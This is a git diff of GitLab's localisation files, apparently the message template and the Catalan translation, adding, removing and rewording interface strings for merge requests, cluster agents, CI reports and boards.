msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -40108,6 +40768,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -40174,9 +40837,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40273,6 +40933,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40306,9 +40969,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40480,6 +41140,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40489,6 +41152,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40513,6 +41179,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40549,6 +41218,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40924,21 +41596,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -41092,9 +41752,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -41125,13 +41782,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -41143,6 +41800,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -41161,9 +41821,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -41206,9 +41863,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41242,6 +41896,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41251,12 +41908,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41293,21 +41956,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41320,6 +41998,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41359,9 +42046,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41392,9 +42076,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41410,39 +42091,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41605,6 +42277,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41788,9 +42472,6 @@ msgstr "prijavi se"
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41815,6 +42496,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/ca_ES/gitlab.po b/locale/ca_ES/gitlab.po
index c18db984108..d2d69eec6e9 100644
--- a/locale/ca_ES/gitlab.po
+++ b/locale/ca_ES/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ca\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:40\n"
+"PO-Revision-Date: 2021-12-06 18:57\n"
msgid " %{start} to %{end}"
msgstr " Des de %{start} fins %{end}"
@@ -70,9 +70,6 @@ msgstr "\"%{path}\" no existeix a \"%{ref}\""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d mètrica"
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr "%{placeholder} no és un tema vàlid"
msgid "%{primary} (%{secondary})"
msgstr "%{primary} (%{secondary})"
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "Afegeix una taula"
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr "Afegeix una aplicació nova"
msgid "Add new directory"
msgstr "Afegeix un directori nou"
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr "Afegeix usuaris al grup"
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr "Clients"
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr "Tanca"
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
